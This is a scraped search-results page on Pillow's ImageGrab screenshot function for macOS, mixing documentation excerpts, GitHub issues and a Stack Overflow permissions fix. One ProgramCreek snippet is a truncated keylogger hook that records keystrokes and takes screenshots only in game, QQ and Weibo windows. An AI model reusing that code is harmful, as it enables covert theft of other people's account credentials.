Solution for me was to allow the executing app (VSCode, iTerm) to grab the screen. This was mentioned and solved here

Manual fix:

Open SpotlightSystem PreferencesSecurity & PrivacyScreen RecordingClick lock symboladd app that runs the python command (e.g. VSCode, iTerm)

(tested with Big Sur 11.4, Python 3.9.5)

Answer from constant-flow on Stack Overflow
🌐
Pillow Documentation
pillow.readthedocs.io › en › stable › reference › ImageGrab.html
ImageGrab module - Pillow (PIL Fork) 12.2.0 documentation
PIL.ImageGrab.grab(bbox=None, include_layered_windows=False, all_screens=False, xdisplay=None, window=None)[source]¶ · Take a snapshot of the screen. The pixels inside the bounding box are returned as an “RGBA” on macOS, or an “RGB” image otherwise.
🌐
Bitbucket
hhsprings.bitbucket.io › docs › programming › examples › python › PIL › ImageGrab.html
ImageGrab Module (macOS and Windows only) — Pillow (PIL) examples
Update Pillow. img = ImageGrab.grabclipboard() if img and not isinstance(img, (list, )): #img.show() img.save("capturedd.png" % self._count) self._count += 1 elif key == keyboard.Key.alt_l or key == keyboard.Key.alt_r: self._alt_pressed = False elif key == keyboard.Key.esc: # Stop listener return False if __name__ == '__main__': kc = KC() with keyboard.Listener( on_press=kc.on_press, on_release=kc.on_release) as listener: listener.join()
🌐
Pillow
hugovk-pillow.readthedocs.io › en › stable › reference › ImageGrab.html
ImageGrab Module - Pillow (PIL Fork) 10.1.0 documentation
PIL.ImageGrab.grab(bbox=None, include_layered_windows=False, all_screens=False, xdisplay=None)[source]# Take a snapshot of the screen. The pixels inside the bounding box are returned as an “RGBA” on macOS, or an “RGB” image otherwise.
🌐
TutorialsPoint
tutorialspoint.com › python_pillow › python_pillow_imagegrab_grab_function.htm
Python Pillow - ImageGrab.grab()Function
Pass an empty string ("") to grab the default X11 screen on Windows or macOS. To check X11 support, you can use PIL.features.check_feature() with feature="xcb". The function returns a PIL image containing the captured screen content. This example captures the entire screen using the ImageGrab.grab() function.
🌐
GitHub
github.com › python-pillow › Pillow › issues › 3293
ImageGrab on mac ( coordinate problem ? ) · Issue #3293 · python-pillow/Pillow
August 5, 2018 - from PIL import ImageGrab import os import time def screenGrab(): x = 351 y = 237 im = ImageGrab.grab((x,y,x+645,y+484)) im.save(os.getcwd() + "\\full_snap_" + str(int(time.time()) ) + ".png", "PNG") if __name__ == '__main__': screenGrab() Normally the program should be doing this : But for whatever reason he took this instead : As you can see, the coordinates does not correspond to what I've wrote and it looks like he zoom on the screen too.. Weird.. and I use a macbook pro with High Sierra : I use : Pillow 5.2.0 pip 10.0.1 python (from my terminal ) 2.7.10 and Pycharm ·
Author   jerb6
🌐
Note.nkmk.me
note.nkmk.me › home › python › pillow
Get the image from the clipboard with Python, Pillow | note.nkmk.me
April 22, 2022 - In Python, you can get the image from the clipboard with the ImageGrab.grabclipboard() function in Pillow(PIL). As of version 9.1.0 (April 2022), it is available only for Windows and macOS. ImageGrab. ...
🌐
GeeksforGeeks
geeksforgeeks.org › python › python-pil-imagegrab-grab-method
Python PIL | ImageGrab.grab() method - GeeksforGeeks
May 3, 2022 - The ImageGrab module can be used to copy the contents of the screen or the clipboard to a PIL image memory. PIL.ImageGrab.grab() method takes a snapshot of the screen. The pixels inside the bounding box are returned as an “RGB” image on ...
🌐
Pillow
pillow.readthedocs.io › en › latest › reference › ImageGrab.html
ImageGrab module - Pillow (PIL Fork) 12.0.0.dev0 documentation
PIL.ImageGrab.grab(bbox=None, include_layered_windows=False, all_screens=False, xdisplay=None, window=None)[source]¶ · Take a snapshot of the screen. The pixels inside the bounding box are returned as an “RGBA” on macOS, or an “RGB” image otherwise.
Find elsewhere
🌐
GitHub
github.com › python-pillow › Pillow › blob › main › docs › reference › ImageGrab.rst
Pillow/docs/reference/ImageGrab.rst at main · python-pillow/Pillow
The :py:mod:`~PIL.ImageGrab` module can be used to copy the contents of the screen or the clipboard to a PIL image memory. .. versionadded:: 1.1.3 · .. py:function:: grab(bbox=None, include_layered_windows=False, all_screens=False, xdisplay=None, ...
Author   python-pillow
🌐
GitHub
github.com › python-pillow › Pillow › issues › 6144
ImageGrab.grab(bbox=) fails on Mac with Retina screen, or on secondary monitor · Issue #6144 · python-pillow/Pillow
March 20, 2022 - OS: Mac OS 12.2.1 · Python: 3.10.1 · Pillow: 9.0.1 · import sys import tkinter as tk from tkinter import ttk from PIL import ImageGrab, __version__ as pil_version def callback(): img = ImageGrab.grab() img.save('screen.png') geom = root.winfo_geometry() print('geom=', geom) left, top = root.winfo_rootx(), root.winfo_rooty() width, height = root.winfo_width(), root.winfo_height() print(f'{left=} {top=} {width=} {height=}') bbox = (left, top, left+width, top+height) img = ImageGrab.grab(bbox=bbox) img.save('window.png') print('Python:', sys.version) print('PIL:', pil_version) root = tk.Tk() r
Author   resnbl
🌐
Wdk-docs
wdk-docs.github.io › Pillow › reference › ImageGrab.html
ImageGrab Module (macOS and Windows only) — Pillow (PIL Fork) 7.0.0 文档
The ImageGrab module can be used to copy the contents of the screen or the clipboard to a PIL image memory. ... The current version works on macOS and Windows only.
🌐
GitHub
github.com › python-pillow › Pillow › blob › main › src › PIL › ImageGrab.py
Pillow/src/PIL/ImageGrab.py at main · python-pillow/Pillow
# Cast to Optional[str] needed for Windows and macOS. display_name: str | None = xdisplay · try: if not Image.core.HAVE_XCB: msg = "Pillow was built without XCB support" raise OSError(msg) size, data = Image.core.grabscreen_x11(display_name) except OSError: if display_name is None and sys.platform not in ("darwin", "win32"): if shutil.which("gnome-screenshot"): args = ["gnome-screenshot", "-f"] elif shutil.which("grim"): args = ["grim"] elif shutil.which("spectacle"): args = ["spectacle", "-n", "-b", "-f", "-o"] else: raise ·
Author   python-pillow
🌐
ProgramCreek
programcreek.com › python › example › 89032 › PIL.ImageGrab.grab
Python Examples of PIL.ImageGrab.grab
def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过窗口的title,判断当前窗口是否是“监听目标” if title.find(u"魔兽世界") != -1 or title.find(u"英雄联盟") != -1 or title.find(u'QQ')!=-1 or title.find(u'微博')!=-1 or title.find(u'战网')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic_name = "keyboard_"+pic
🌐
PyPI
pypi.org › project › pyscreenshot
pyscreenshot · PyPI
The pyscreenshot module is obsolete in most cases. It was created because PIL ImageGrab module worked on Windows only, but now Linux and macOS are also supported.
      » pip install pyscreenshot
    
Published   Mar 12, 2023
Version   3.1
🌐
Nitratine
nitratine.net › blog › post › how-to-take-a-screenshot-in-python-using-pil
How To Take A Screenshot In Python Using PIL - Nitratine
August 24, 2020 - After we have the ImageGrab module, we can call .grab() to take a screenshot · from PIL import ImageGrab screenshot = ImageGrab.grab() # Take the screenshot
🌐
TutorialsPoint
tutorialspoint.com › python_pillow › python_pillow_imagegrab_grabclipboard_function.htm
Python Pillow - ImageGrab.grabclipboard()Function
Mac − Returns an image or None if the clipboard does not contain image data. Linux − Returns an image. This code is a simple example of how to use the grabclipboard() method to fetch an image from the clipboard and display it. from PIL import ...
🌐
GeeksforGeeks
geeksforgeeks.org › python › pyhton-pil-imagegrab-grabclipboard-method
Python PIL | ImageGrab.grabclipboard() method - GeeksforGeeks
July 29, 2019 - Syntax: PIL.ImageGrab.grabclipboard() Parameters: no arguments Returns: On Windows, an image, a list of filenames, or None if the clipboard does not contain image data or filenames. Note: This Module only work for Windows and Mac OS.
🌐
GitHub
github.com › python-pillow › Pillow › issues › 7214
PIL.ImageGrab.grabclipboard() is lossy on Mac · Issue #7214 · python-pillow/Pillow
June 15, 2023 - Issue On Mac, PIL.ImageGrab.grabclipboard() is lossy because it uses JPG: commands = [ 'set theFile to (open for access POSIX file "' + filepath + '" with write permission)', "try", " write (the clipboard as JPEG picture) to theFile", "e...
Author   abey79
🌐
Stack Overflow
stackoverflow.com › questions › 76242541 › how-can-i-see-what-did-pil-imagegrab-grab-captured-from-a-screen
python - How can I see what did PIL.ImageGrab.grab() captured from a screen? - Stack Overflow
from PIL import ImageGrab # Grab current screen. screen = ImageGrab.grab() # Save as temp file and open it using your assigned program. screen.show() # Save it in a modern format.